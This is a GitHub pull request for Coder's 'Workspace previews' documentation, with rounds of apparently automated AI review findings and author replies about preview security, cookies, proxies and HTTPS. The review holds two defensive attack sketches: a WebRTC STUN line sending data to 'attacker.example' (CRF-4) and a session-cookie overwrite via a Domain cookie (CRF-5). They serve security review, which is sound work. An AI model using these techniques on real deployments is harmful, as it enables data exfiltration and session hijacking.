Repository navigation
docs: document open_preview previews - #32442
DanielleMaywood wants to merge 1 commit into
Conversation
6bff827 to
57b4d4d
Compare
57b4d4d to
a68678e
Compare
|
/coder-agents-review |
|
Chat: Review posted | View chat Review history
deep-review v0.13.1 | Round 9 | Last posted: Round 9, 25 findings (2 P2, 10 P3, 6 P4, 7 Nit), APPROVE. Review Finding inventoryFindings
Contested and acknowledgedCRF-12 (P4, docs/coder-agents/platform-controls/open-preview.md:42) - Port preview restriction omits dev container displayApps
CRF-16 (Nit, docs/coder-agents/index.md:276) - Tool table row "Refer to" link duplicates line 304
CRF-17 (Nit, docs/coder-agents/platform-controls/open-preview.md:2) - Filename does not match title
CRF-1 (Nit, docs/coder-agents/index.md:304)
CRF-16 (Nit, docs/coder-agents/index.md:276)
CRF-32 (Nit, docs/coder-agents/platform-controls/open-preview.md:56)
CRF-33 (P3, docs/coder-agents/platform-controls/open-preview.md:21)
CRF-34 (P3, docs/coder-agents/platform-controls/open-preview.md:78)
CRF-36 (P4, docs/coder-agents/platform-controls/open-preview.md:108)
CRF-37 (P4, docs/coder-agents/platform-controls/open-preview.md:50)
CRF-44 (Nit, docs/coder-agents/platform-controls/open-preview.md:18)
Round logRound 1Full panel (round 1). Netero first pass: 2 P4, 1 Note; no P0, panel proceeded. Law not run (effective additions 82). Panel: Pen Botter, Razor (documentation triggers), Kurapika (security claims), Pariston, Mafuuu (core), Gon, Leorio (floor), Mafu-san (agent-authored), Knov (wildcard). Cross-check: Razor P2 on outdated proxies serving previews without the policy was disproved by running the pre-stack Round 2 updateBLOCKED. Churn guard: 12 of 15 open findings addressed in 22fc5b8 (amended single commit); CRF-12 (P4), CRF-16 (Nit), CRF-17 (Nit) silent, with no code change or thread reply. No panel, no Netero. Reviewed against 16f0f81..22fc5b8. Round 3 updateBLOCKED. No new commits (head still 22fc5b8). Churn guard: CRF-12 contested (reply: chats bind only to root agents, Round 4PROCEED (churn guard: CRF-12, CRF-16, CRF-17 contested). Fix round: no files added or renamed, title and goal unchanged, effective additions +42 since R1. Netero (post-panel, advisory): CRF-1 re-raised as Nit (placement), CRF-30 CI note. Panel: Razor and Gon (dispute check-in, previous agents reused via message_agent), Pen Botter (docs), Kurapika (security text rewrite), Leorio (new quoted error messages), Zoro (wildcard, no findings). Dispute results: CRF-12 closed 1/1, CRF-17 closed 1/1, CRF-16 re-raised. Verified fixed by panel: CRF-5, CRF-6, CRF-7, CRF-8, CRF-9, CRF-10, CRF-11, CRF-14, CRF-15. New: 4 P3, 2 P4, 1 Nit; 3 out of scope; 2 notes dropped. Orchestrator checked cited code for CRF-16, CRF-31, CRF-33, CRF-34, CRF-35, CRF-37. Reviewed against 16f0f81..22fc5b8. Round 5PROCEED (churn guard: CRF-31 and CRF-35 addressed in fd684d6; CRF-1, CRF-16, CRF-32, CRF-33, CRF-34, CRF-36, CRF-37 contested). Fix round: only open-preview.md changed (+5 -3). Netero: the R4 agent was messaged and wrote no output, so a new agent ran; no new findings, CRF-1 accepted. Panel: Gon, Pen Botter, Kurapika, Leorio (dispute check-in, previous agents reused), Razor (docs, verifies CRF-31; new agent, no findings), Chopper (wildcard, no findings). All 7 contested findings closed 1/1. CRF-31 and CRF-35 verified fixed. New: 1 P4, 1 Nit; 1 out of scope; 2 notes dropped. Orchestrator checked Round 6PROCEED (churn guard: CRF-43 addressed in 4ad4e17; CRF-44 contested). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings, CRF-43 verified. Panel: Gon (dispute check-in, reused), Leorio (raised CRF-43; new agent), Razor (docs; new agent), Zoro (wildcard). CRF-44 closed 1/1. CRF-43 verified by Leorio, Razor, Netero. New: 1 Nit (CRF-48). Reviewed against 79c6491..4ad4e17. Round 7PROCEED (churn guard: CRF-48 addressed in abf6571). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings. Panel: Gon (raised CRF-48), Pen Botter, Razor (docs), Knov (wildcard); all new agents, no findings. CRF-48 verified by Razor, Netero, Knov. No open in-scope findings. Reviewed against 9db4ea5..abf6571. Round 8PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since abf6571; lower stack changed comments, tests, and ARCHITECTURE.md between bases 9db4ea5 and 71bab52. Fix round with no changed PR files: Netero (new agent), panel Razor, Mafuuu, Pariston (minimum 3 from core and pool), Kite (wildcard). No findings; all reviewers re-verified quoted strings against the new base. Reviewed against 71bab52..65898b5. Round 9PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since 65898b5; lower stack changed About deep-reviewCRF = Coder Review Finding (P0-P4, Nit, Note)
|
There was a problem hiding this comment.
This PR adds the Workspace previews docs page and links it from the Coder Agents overview and platform controls index. Findings: 2 P2, 6 P3, 4 P4, 3 Nit. The P2s are in Preview security: one claim there is false, and one risk is stated without its consequence or the setting that stops it.
Out of scope (needs a ticket or explicit acceptance by a human):
docs/coder-agents/architecture.md:142: the workspace and platform tool tables do not listopen_preview, so the two tool inventories indocs/coder-agents/disagree.coderd/workspaceapps/previewhost/previewhost.go:59: the strict preview CSP has no control over WebRTC or DNS prefetch, so preview scripts can send data from the owner's browser to any host, including when the workspace has no egress.codersdk/deployment.go:1155:coder_session_tokengets the__Host-prefix only whenCODER_HOST_PREFIX_COOKIEis set (default false), so any script on a subdomain of the access URL can set a cookie that the dashboard API reads as the session.coderd/workspaceapps/preview.go:50: on a plain-HTTP deployment every framed preview request gets "Previews open only inside a Coder chat. Open this preview from its chat.", which names a user action instead of the missing HTTPS.agent/agentpreview/preview.go:94: a file preview ID the agent no longer has returns Go's default404 page not found, andpostPreviewSignIn(coderd/previews.go:69-88) does not check that the ID is published, so the user gets no hint to reopen the preview.coderd/previews.go:158:previewHostingForsends a preview sign-in to any proxy with a wildcard hostname without checking its version, so a proxy that predates this stack shows an error page for every preview.
Notes:
- The CI
lintjob failed and its log was not readable from the review environment. Every docs lint target (lint/markdown,lint/docs-manifest,lint/emdash,lint/typos, and others) passes on this head, so the failure probably comes from the lower stack commits.
🤖 This review was automatically generated with Coder Agents.
| - The page loads scripts, styles, fonts, images, and other files only from the preview's own address. | ||
| Inline scripts, inline styles, and `data:` and `blob:` URLs still work. | ||
| The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page. | ||
| - The page sends requests only to the preview's own address. |
There was a problem hiding this comment.
P2 [CRF-4] "The page sends requests only to the preview's own address" is false: the preview policy does not limit WebRTC or DNS prefetch. (Pariston, Kurapika, Knov)
The only network limit is the CSP from previewhost.Strict (default-src 'self' ...; frame-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors ...) plus the iframe sandbox, and CSP fetch directives do not govern RTCPeerConnection ICE traffic or <link rel="dns-prefetch">, so a script can send data in a STUN hostname or username (new RTCPeerConnection({iceServers:[{urls:"stun:<data>.attacker.example"}]})). This was inferred from the policy string and not run in a browser. An administrator whose workspaces have no egress reads this line and the secrets warning and concludes a preview cannot move secrets out, but the user's browser does the sending. Narrow the line to what the CSP covers (fetch, XHR, WebSocket, form posts, and subresource loads), state that WebRTC and DNS prefetch can still reach other hosts, and say in the warning that scripts can send what they read.
🤖
| Workspace proxies serve previews with the same limits. | ||
|
|
||
| Coder can't stop scripts in a preview from setting cookies for a parent domain of the preview's address, such as the domain of the wildcard access URL. | ||
| The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain. |
There was a problem hiding this comment.
P2 [CRF-5] The page says parent-domain cookies reach Coder itself but not that a preview can replace the user's Coder session cookie, or which setting stops it. (Kurapika)
With the documented layout (access URL coder.example.com, wildcard *.coder.example.com), a preview script can set coder_session_token=<token>; Domain=coder.example.com; Path=/api; browsers send the longer-path cookie first, and httpmw.APITokenFromRequest (coderd/httpmw/apikey.go:1031) reads the first one with r.Cookie. Dashboard API calls then run as whatever account the token belongs to, or fail with 401, and logout does not remove the Domain cookie. With CODER_HOST_PREFIX_COOKIE=true, HTTPCookieConfig.Middleware drops an unprefixed coder_session_token, and browsers refuse a __Host- cookie set with Domain. State the session consequence here and tell administrators who enable previews to set CODER_HOST_PREFIX_COOKIE=true, or to use a wildcard domain that the access URL is not under.
🤖
| Workspace previews require a [wildcard access URL](../../admin/networking/wildcard-access-url.md). | ||
| Without one, `open_preview` returns an error. | ||
|
|
||
| Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews. |
There was a problem hiding this comment.
P3 [CRF-6] The page lists HTTPS as the only requirement for workspace proxies, but each proxy that users can select also needs its own wildcard hostname. (Razor, Pariston, Mafuuu, Pen Botter, Kurapika)
PreviewFrame signs in with region_id: proxy.proxy?.id and does not fall back to the primary, and previewHostingFor (coderd/previews.go) returns "This region does not serve previews." for a proxy with an empty WildcardHostname. The tool still succeeds because it checks only the primary's wildcard, so users on that region see an Open preview button and then an error. State that previews go through the region selected in the dashboard and that each workspace proxy users can select needs a wildcard hostname.
🤖
|
|
||
| - A port preview shows a plain HTTP server that already listens on a workspace port. | ||
| If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews. | ||
| - A file preview shows an `.html` file, or a directory that contains `index.html`. |
There was a problem hiding this comment.
P3 [CRF-7] The page does not say that file previews end when the workspace agent restarts. (Pen Botter, Mafuuu, Leorio, Razor, Pariston, Mafu-san)
The agent keeps published previews only in the in-memory api.previews map (agent/agentpreview/preview.go), and handleServe answers an unknown ID with http.NotFound, so an Open preview button or restored tab in an older chat shows 404 page not found. The tool description already tells the model this ("last until the workspace agent restarts"). Add one sentence: a file preview lasts until the workspace agent restarts, and asking the agent to open the same path again restores it.
🤖
| Without one, `open_preview` returns an error. | ||
|
|
||
| Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews. | ||
| Over plain HTTP, previews don't load. |
There was a problem hiding this comment.
P3 [CRF-8] "Over plain HTTP, previews don't load" does not say what the user sees, and what the user sees names a different cause. (Pen Botter, Leorio, Mafuuu)
Browsers omit Sec-Fetch-Dest on plain-HTTP origins other than localhost, so servePreview (coderd/workspaceapps/preview.go:48-50) treats the framed request as a direct load and the panel shows "Previews open only inside a Coder chat. Open this preview from its chat." The user did open it from the chat, so neither the user nor the administrator links that message to HTTPS. Name the message in this sentence, for example: "Over plain HTTP, the preview tab shows 'Previews open only inside a Coder chat' even when the user opened it from the chat."
🤖
| The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain. | ||
| A preview can use such a cookie to overwrite a cookie that one of the user's other apps uses. | ||
|
|
||
| > [!WARNING] |
There was a problem hiding this comment.
P3 [CRF-14] The secrets warning states the risk but gives the reader nothing to do about it. (Leorio)
The tool description gives the model the mitigation ("use a dedicated output directory without secrets", chattool/openpreview.go:152), but neither the administrator nor the chat user reading this page is told it. Add a line the reader can act on, for example: "Ask the agent to preview a dedicated output directory, such as a build output folder, not a project root or home directory."
🤖
|
|
||
| - A port preview shows a plain HTTP server that already listens on a workspace port. | ||
| If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews. | ||
| - A file preview shows an `.html` file, or a directory that contains `index.html`. |
There was a problem hiding this comment.
P4 [CRF-15] Lines 45 and 73 use "directory preview" as a kind of preview, but line 39 lists two kinds, port preview and file preview, and never defines it. (Gon)
A reader matches "needs a directory preview" against the two-item list and finds no such kind. Name both forms where the file preview is defined, for example: "A file preview shows an .html file (a single-file preview) or a directory that contains index.html (a directory preview)."
🤖
| | `process_list` | List all tracked processes in the workspace | | ||
| | `process_signal` | Send a signal (terminate/kill) to a tracked process | | ||
| | `attach_file` | Attach a workspace file to the chat as a durable downloadable attachment | | ||
| | `open_preview` | Add a button that opens a workspace port or an `.html` file or directory in the chat's right panel. Refer to [Workspace previews](./platform-controls/open-preview.md) | |
There was a problem hiding this comment.
Nit [CRF-16] The open_preview row is the only tool table row that ends with a "Refer to" link, and line 304 links to the same page. (Gon)
The computer_use entry links only in the sentence below the table. Drop the link from the row; the row also lacks the period its first sentence implies.
🤖
There was a problem hiding this comment.
Declined: style nit.
There was a problem hiding this comment.
Declined: open_preview is the only tool in the table that needs an administrator to enable it first, so its row links straight to the setup page for readers who scan the table; the sentence at line 304 serves readers of the prose below it.
There was a problem hiding this comment.
The defense says open_preview is the only tool in the table that needs an administrator to enable it, but the spawn_agent (type=computer_use) row at line 282 also needs virtual desktop enabled, and its row has no link; its setup link is only in the sentence at line 295. As written, a reader scanning the table gets a setup link for one of the two admin-gated tools. Drop the link from this row, or give both rows a link, and end the row with a period. (Gon)
🤖
There was a problem hiding this comment.
Declined: you are right that spawn_agent with type=computer_use also needs an administrator, so our premise was wrong; we are still keeping the link because it points someone scanning the table at a required setup step, and no style rule asks every row to match.
There was a problem hiding this comment.
Accepted. The link sends no reader to a wrong page.
🤖
| @@ -0,0 +1,74 @@ | |||
| --- | |||
| title: Workspace previews | |||
There was a problem hiding this comment.
Nit [CRF-17] The file is named open-preview.md while the page title, manifest titles, and link texts say "Workspace previews". (Gon)
Sibling pages use a filename that matches the title (virtual-desktop.md, mcp-servers.md, chat-debug-logging.md). Rename to workspace-previews.md and update the links and both manifest entries before the URL is published, or keep the name if it is meant to match the experiment.
🤖
There was a problem hiding this comment.
Declined: the filename matches the open-preview experiment name.
There was a problem hiding this comment.
Accepted. Sibling pages already use filenames that differ from their titles, such as agent-isolation.md for "Network isolation".
🤖
| `write_file` and `edit_files` remain available only for the chat-specific plan file under `.coder/plans/`. | ||
| Workspace MCP tools are unavailable in plan mode, and plan-mode sub-agents receive no MCP tools. | ||
|
|
||
| `open_preview` works only after an administrator enables [workspace previews](./platform-controls/open-preview.md). |
There was a problem hiding this comment.
P4 [CRF-1] The overview's root-only sentence at line 292 does not list open_preview, so a reader concludes sub-agents get it. (Netero)
The tool is registered only under if isRootChat (coderd/x/chatd/turn_environment.go:722, appendRootChatTools), and only open-preview.md:33 states that. Add open_preview to the root-only sentence at line 292, and move this sentence next to the computer_use "works only after an administrator enables" sentence instead of after the plan-mode paragraph.
🤖
There was a problem hiding this comment.
The root-only list at line 292 now includes open_preview. The enablement sentence at line 304 still follows the plan-mode paragraph (lines 299 to 302), so a reader can take it as a plan-mode condition; move it next to the computer_use enablement sentence at line 295. (Netero)
🤖
There was a problem hiding this comment.
Declined: the sentence is a separate paragraph that states its own condition (an administrator enabling workspace previews) and says nothing about plan mode, so a reader cannot take it as a plan-mode rule.
There was a problem hiding this comment.
Accepted. The sentence states its own condition, and open_preview is not available in plan mode, so no reading of it leads to a wrong action.
🤖
a68678e to
ede4fa3
Compare
ede4fa3 to
2e8d886
Compare
2e8d886 to
21ac354
Compare
21ac354 to
39cd84b
Compare
39cd84b to
62f28b7
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
The new commit addresses 12 of the 15 open findings from the previous review. Three findings have no change and no reply, so further review is blocked until each one gets a fix or a reply on its thread:
docs/coder-agents/platform-controls/open-preview.mdport preview bullet (P4): the restriction still names only the template'sdisplay_appsblock, but a dev container'scustomizations.coder.displayAppscan also turn offport_forwarding_helper.docs/coder-agents/index.md:276(Nit): theopen_previewtool table row still ends with a "Refer to" link that duplicates the line 304 link, and has no trailing period.docs/coder-agents/platform-controls/open-preview.md:2(Nit): the filenameopen-preview.mdstill differs from the "Workspace previews" title. Rename it, or reply that the URL is meant to match the experiment name.
A reply that explains why a finding should not change counts as a response.
🤖 This review was automatically generated with Coder Agents.
|
/coder-agents-review |
There was a problem hiding this comment.
No new commits since the previous review. The replies on the dev container displayApps finding and the filename finding give reasons, and the panel will evaluate them next round. Review is still blocked on one finding: the reply on the docs/coder-agents/index.md:276 tool table row ("Declined: style nit.") restates the severity without a reason. To unblock, drop the "Refer to" link and add the period, or reply with why this row should differ from the other rows, for example that the link is meant to be the table's path to the page.
🤖 This review was automatically generated with Coder Agents.
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews the rewritten Workspace previews page at 22fc5b8c5b. New findings: 4 P3, 2 P4, 1 Nit. The reviewers checked the fixes to the --host-prefix-cookie requirement, the proxy wildcard requirement, the agent-restart behavior, the plain-HTTP error, the experiment list example, the flag form, the agent release requirement, the secrets warning, and the directory preview term against the code, and every quoted error string matches a literal in the stack. The dev container displayApps and filename defenses are accepted. The tool table link defense is not, and the overview's enablement sentence still sits after the plan-mode paragraph; both have replies on their threads.
Out of scope (needs a ticket or explicit acceptance by a human):
coderd/workspaceapps/preview.go:189:isFromOtherPreviewmatches only the receiving server's own wildcard, so requests from a workspace proxy's preview to the primary's apps, or the reverse, rely only on the preview CSP.coderd/x/chatd/chattool/openpreview.go:179: the label length check ignores text that the region's wildcard adds around*, so the tool succeeds and the preview tab then shows "Invalid preview address." with no hint to shorten a name.coderd/coderd.go:748: the primary deployment builds preview hosting without the same-site check thatpreviewHostingForapplies to proxies, so a cross-site primary wildcard reports previews as available and then fails sign-in.
Notes:
- 19 CI jobs fail on this head, starting with
changes, and the job logs were not readable from the review environment. The docs checks (markdownlint-cli2,lint/docs-manifest,lint/docs-html,lint/emdash,lint/docs-redirects) pass locally.
🤖 This review was automatically generated with Coder Agents.
| Inline scripts, inline styles, and `data:` and `blob:` URLs still work. | ||
| The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page. | ||
| - The page can't send `fetch`, `XMLHttpRequest`, WebSocket, or form requests to other addresses. | ||
| Coder also refuses requests that a preview page sends to the user's other workspace apps. |
There was a problem hiding this comment.
P3 [CRF-31] "Coder also refuses requests that a preview page sends to the user's other workspace apps" holds only when the preview and the target app are under the same server's wildcard. (Razor)
Server.isFromOtherPreview (coderd/workspaceapps/preview.go:189) recognizes a preview origin only with the receiving server's own HostnameRegex, and its comment says previews on other servers, such as workspace proxies, "are left to their CSP". A preview served by a proxy at *.eu.coder.example.com that sends a request to a coderd app gets no server-side refusal, and line 51 requires that proxy to be same-site, so the browser attaches the user's cookies. Qualify the sentence, for example: "Coder also refuses requests that a preview page sends to the user's other workspace apps on the same wildcard access URL."
🤖
There was a problem hiding this comment.
Fixed in fd684d6: the sentence now limits the server-side check to apps on the same wildcard access URL.
There was a problem hiding this comment.
P4 [CRF-43] The fix narrows the refusal to apps "on the same wildcard access URL", but Coder also refuses preview requests to the same server's path-based apps, which are not on any wildcard access URL. (Leorio)
isFromOtherPreview runs for the preview host (workspaceapps/preview.go:36), subdomain apps (proxy.go:541), and path-based apps (proxy.go:374, "Path-based apps accept the user's dashboard session cookie"), and it matches an Origin that is a preview under the serving server's own wildcard. An administrator reading line 100 concludes path-based apps get no server-side refusal and may turn them off for a risk the code already blocks. Scope the sentence by server instead, for example: "Coder also refuses requests that a preview page sends to the user's other workspace apps, subdomain or path-based, that the same server serves."
🤖
There was a problem hiding this comment.
Fixed in 4ad4e17: the sentence now covers subdomain and path-based apps that the same server serves.
There was a problem hiding this comment.
Verified fixed in 4ad4e176e6: line 100 now covers subdomain and path-based apps on the serving server, matching proxy.go:374 and proxy.go:541.
🤖
| - The access URL uses HTTPS. | ||
| Over plain HTTP, the preview tab shows an error page that says `Previews need an HTTPS access URL.` instead of the preview. | ||
| For local development, plain HTTP works when the wildcard access URL is under `localhost`, such as `*.coder.localhost`. | ||
| - The control plane runs with [`--host-prefix-cookie`](../../reference/cli/server/index.md#--host-prefix-cookie) (`CODER_HOST_PREFIX_COOKIE=true`), which stops scripts in a preview from replacing the user's Coder session cookie. |
There was a problem hiding this comment.
P3 [CRF-33] The page lists --host-prefix-cookie as a requirement but does not say what turning it on does to existing sessions and workspaces. (Pen Botter)
With the flag on, HTTPCookieConfig.Middleware drops every unprefixed coder_session_token cookie (codersdk/deployment.go:1186-1196), so every signed-in user is signed out once after the restart, and the flag's own description says it "is disruptive to any workspaces built before release 2.31, requiring a workspace restart" (codersdk/deployment.go:3700). An administrator trying an experimental feature gets both with no warning on this page. Add a sentence after line 21: turning on the flag signs every user out once and requires restarting workspaces built before 2.31, so schedule the change.
🤖
There was a problem hiding this comment.
Declined: you are right that turning on --host-prefix-cookie signs every user out once and the page does not say so, but that is the flag's own rollout behavior, the linked flag reference states the workspace restart requirement, and this page documents what previews need rather than restating that flag's effects.
There was a problem hiding this comment.
Accepted. The missing sign-out warning belongs in the flag's own description, which is listed as out of scope in the review body.
🤖
|
|
||
| - A port preview shows a plain HTTP server that already listens on a workspace port. | ||
| If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, the `open_preview` tool refuses port previews. | ||
| - A file preview shows a single `.html` file, or a directory that contains `index.html` (a directory preview). |
There was a problem hiding this comment.
P3 [CRF-34] The page does not say that a preview hostname must fit in one 63-character DNS label. (Pen Botter)
A file preview label is preview--<8-character ID>--<agent>--<workspace>--<owner>, so the agent, workspace, and owner names together get at most 40 characters, and past that open_preview returns "The preview address would be longer than DNS allows. Use a shorter workspace or agent name." (chattool/openpreview.go:179-180, maxHostnameLabelLength = 63). For owner mathias-fredriksson, workspace coder-agents-review, and agent dev, the file preview label is 64 characters and fails while the port app label is 51 characters and works. State the limit in this section, and that a wildcard pattern that adds text around * lowers it.
🤖
There was a problem hiding this comment.
Declined: the limit is the general DNS label limit that already applies to every subdomain app, and open_preview reports it with a message naming the fix (a shorter workspace or agent name), so the page does not need to restate it.
There was a problem hiding this comment.
Accepted, because the tool error names the fix. The limit is tighter than for other subdomain apps: a file preview label is 13 characters longer than a 4-digit port app label.
🤖
|
|
||
| Workspace previews have three requirements on the control plane: | ||
|
|
||
| - The control plane has a [wildcard access URL](../../admin/networking/wildcard-access-url.md). |
There was a problem hiding this comment.
P3 [CRF-35] The page requires a same-site wildcard only for workspace proxies, but previews on the primary deployment need the same condition. (Kurapika)
The preview sign-in cookie uses the deployment's SameSite setting (default Lax), and previewHostingFor (coderd/previews.go:226-231) notes that browsers send it from the dashboard's frame only when the two are the same site; the primary hosting is built with previewhost.Strict(options.AppHostname, ...) (coderd/coderd.go:748) without that check. With access URL coder.example.com and wildcard *.coder-apps.net, the preview frame is cross-site, so the browser does not send the preview session cookie and sign-in fails (inferred from the code and cookie rules, not run in a browser). Add to this requirement that the wildcard access URL must be under the same registrable domain as the access URL, as line 51 says for proxies.
🤖
There was a problem hiding this comment.
Fixed in fd684d6: the page now states that the wildcard access URL must be on the same site as the access URL, with an example, and quotes the new cross-site messages.
There was a problem hiding this comment.
Verified fixed in fd684d6bb5: lines 18 and 19 match the check and message at coderd/previews.go:224-225.
🤖
| Workspace proxies serve previews with the same limits. | ||
|
|
||
| Coder can't stop scripts in a preview from setting cookies for a parent domain of the preview's address, such as the domain of the wildcard access URL. | ||
| The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain. |
There was a problem hiding this comment.
P4 [CRF-36] "and to Coder itself when the access URL is under the same domain" presents as optional a condition that every working preview deployment meets. (Kurapika)
Previews work only when the preview host and the dashboard share a registrable domain (line 51, and the same-site requirement on the primary), so a preview script can always set Domain=<registrable domain> and the browser sends it to Coder. --host-prefix-cookie protects only coder_session_token (cookiesToPrefix, codersdk/deployment.go:1155-1157); other Coder cookies such as coder_path_app_session_token stay replaceable. Drop the condition and state that the browser sends these cookies to Coder.
🤖
There was a problem hiding this comment.
Declined: the clause states the actual browser rule for when a parent-domain cookie reaches Coder, and the next line already limits --host-prefix-cookie to the session cookie, so dropping the condition would not change what an administrator does.
There was a problem hiding this comment.
Accepted. The clause is accurate, and --host-prefix-cookie, which the page already requires, is the only setting that changes the exposure.
🤖
| ### Workspace proxies | ||
|
|
||
| A preview loads through the [workspace proxy](../../admin/networking/workspace-proxies.md) that the user selects in the dashboard. | ||
| To serve previews, a workspace proxy needs its own wildcard access URL, HTTPS, and the same Coder release as the control plane. |
There was a problem hiding this comment.
P4 [CRF-37] "the workspace proxy that the user selects in the dashboard" omits that the dashboard selects the lowest-latency proxy for users who never chose one. (Leorio)
PreviewFrame.tsx:35 sends region_id from useProxy(), and ProxyContext.tsx:148-165 saves the lowest-latency healthy proxy as the selection when the user has none. An administrator who adds one proxy without a wildcard access URL expects users who never opened the proxy menu to load previews from the control plane, but every user closest to that proxy gets This region does not serve previews. Add: "If the user has not selected one, the dashboard selects the proxy with the lowest latency."
🤖
There was a problem hiding this comment.
Declined: the automatic choice is saved as the user's selected proxy and shows in the picker, and the page already requires a wildcard access URL on every proxy that serves previews, so an administrator following it is not misled.
There was a problem hiding this comment.
Accepted. The automatic choice is saved as the selected proxy, so the picker shows the proxy the error refers to.
🤖
|
|
||
| If the selected proxy has no wildcard access URL, the preview tab shows `This region does not serve previews.` | ||
| If the proxy's wildcard access URL is on another site, the preview tab shows the same message with the detail `previews need a workspace proxy on the same site as the dashboard: choose another region`. | ||
| To open the preview, the user can [select a workspace proxy](../../admin/networking/workspace-proxies.md#select-a-proxy) that meets these requirements, or the primary deployment. |
There was a problem hiding this comment.
Nit [CRF-32] "or the primary deployment" is a second name for the control plane, and neither name matches what the proxy picker shows. (Gon)
The page calls the Coder server "the control plane" at lines 14, 16, 21, 25, 29, 44, and 50, and the picker lists the primary region by its display name, which defaults to Default. Write "or the control plane's own region (named Default unless an administrator renamed it)".
🤖
There was a problem hiding this comment.
Declined: the proxy picker and the workspace proxy docs call this the primary region, so a reader can find it from this wording, and "primary deployment" matches the tool message quoted on line 17.
There was a problem hiding this comment.
Accepted. The proxy picker describes it as the primary region ("If no region is selected, the primary region will be used."), so a reader can find it.
🤖
22fc5b8 to
fd684d6
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews fd684d6bb5, which narrows the server-side refusal sentence and adds the same-site requirement for the primary wildcard. New findings: 1 P4, 1 Nit. Both changes match the code. The defenses on the overview sentence placement, the tool table link, "primary deployment", the --host-prefix-cookie rollout, the DNS label limit, the parent-domain cookie clause, and the automatic proxy selection are accepted; the threads have replies.
Out of scope (needs a ticket or explicit acceptance by a human):
codersdk/deployment.go:3700: the--host-prefix-cookiedescription says older workspaces need a restart but not that turning the flag on signs every browser user out of the dashboard once, so an administrator who turns it on, for previews or for its security benefit, signs out the whole deployment without warning.
Notes:
- 19 CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
|
|
||
| - The control plane has a [wildcard access URL](../../admin/networking/wildcard-access-url.md). | ||
| Without one, `open_preview` returns `previews need a wildcard app hostname on the primary deployment; tell the user an administrator can set one`. | ||
| The wildcard access URL must be on the same site as the access URL, which means under the same registrable domain, such as `*.coder.example.com` for `coder.example.com`. |
There was a problem hiding this comment.
Nit [CRF-44] Line 18 states the same-site rule against "the access URL", while line 53 and the error quoted on line 19 state it against "the dashboard". (Gon)
Both are the same rule, the wildcard sharing a registrable domain with the address the dashboard is served from, so a reader comparing lines 18 and 53 can take them as two conditions. Use one term in both places, for example "on the same site as the dashboard's access URL".
🤖
There was a problem hiding this comment.
Declined: line 18 defines the rule against the access URL with an example, and line 19 quotes the server's message verbatim. The dashboard is served from that access URL, so both describe the one check, and we are keeping the quoted text exact.
There was a problem hiding this comment.
Accepted. Line 19 has to quote the server message verbatim, and the examples on lines 18 and 54 make clear that the dashboard is served from the access URL.
🤖
fd684d6 to
4ad4e17
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews 4ad4e176e6, which rewrites the server-side refusal sentence at line 100. New findings: 1 Nit. The new sentence matches the code: isFromOtherPreview refuses path-based app requests (proxy.go:374) and subdomain app requests (proxy.go:541) from previews under the serving server's own wildcard. The defense on the same-site wording at line 18 is accepted. No other findings are open.
Notes:
- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
| Inline scripts, inline styles, and `data:` and `blob:` URLs still work. | ||
| The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page. | ||
| - The page can't send `fetch`, `XMLHttpRequest`, WebSocket, or form requests to other addresses. | ||
| Coder also refuses requests that a preview page sends to the user's other workspace apps, subdomain or path-based, that the same server serves. |
There was a problem hiding this comment.
Nit [CRF-48] "that the same server serves" adds "server" as a third name for what the page calls "the control plane" or "a workspace proxy", and the sentence names no server before "same". (Gon)
The reader has to work out that it means whichever of the two serves the preview. Write, for example, "that the control plane or workspace proxy serving the preview also serves".
🤖
There was a problem hiding this comment.
Fixed in abf6571: the sentence now says "when the control plane or workspace proxy serving the preview also serves those apps".
There was a problem hiding this comment.
Verified fixed in abf65719db.
🤖
4ad4e17 to
abf6571
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews abf65719db, which rewords the server-side refusal sentence at line 100. No new findings, and no findings remain open: the new wording matches isFromOtherPreview, which refuses requests only when the server serving the preview also serves the target app (proxy.go:374, proxy.go:541). The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.
Notes:
- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
abf6571 to
fa7c655
Compare
fa7c655 to
65898b5
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
This round reviews the rebase to 65898b5295. The PR's docs are unchanged since the previous review, and the lower stack changes between the two bases are comments, tests, and coderd/x/chatd/ARCHITECTURE.md, none of which changes a behavior the page describes. Every error and UI string the page quotes still appears in the code. No findings, and none remain open. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.
Notes:
- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
Adds a Coder Agents platform controls page for workspace previews, linked from the overview. It covers the prerequisites (wildcard access URL, HTTPS, --host-prefix-cookie, a current workspace agent), enabling the open-preview experiment, workspace proxy requirements, port, file, and directory previews, owner-only access, and the strict policy's restrictions and what it does not cover. Co-Authored-By: Claude Opus 5.5 <[email protected]>
65898b5 to
7e28f55
Compare
|
/coder-agents-review |
There was a problem hiding this comment.
